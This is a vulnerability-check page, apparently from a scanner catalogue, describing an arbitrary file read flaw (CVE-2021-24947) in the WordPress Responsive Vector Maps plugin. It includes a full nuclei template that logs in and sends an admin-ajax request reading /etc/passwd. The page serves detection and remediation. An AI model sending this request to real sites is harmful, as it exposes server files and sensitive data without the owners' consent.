WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read

mediumseverity

6.5CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.

Impact

An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.

Fix

Update WordPress Responsive Vector Maps plugin to version 6.4.2 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-24947 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24947

info:
  name: WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read
  author: cckuailong
  severity: medium
  description: WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Update WordPress Responsive Vector Maps plugin to version 6.4.2 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c6bb12b1-6961-40bd-9110-edfa9ee41a18
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24947
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/kazet/wpgarlic
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-24947
    cwe-id: CWE-352,CWE-863
    epss-score: 0.03063
    epss-percentile: 0.87725
    cpe: cpe:2.3:a:thinkupthemes:responsive_vector_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: thinkupthemes
    product: responsive_vector_maps
    framework: wordpress
  tags: cve2021,cve,authenticated,wpscan,lfi,wp,wordpress,wp-plugin,lfr,thinkupthemes,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

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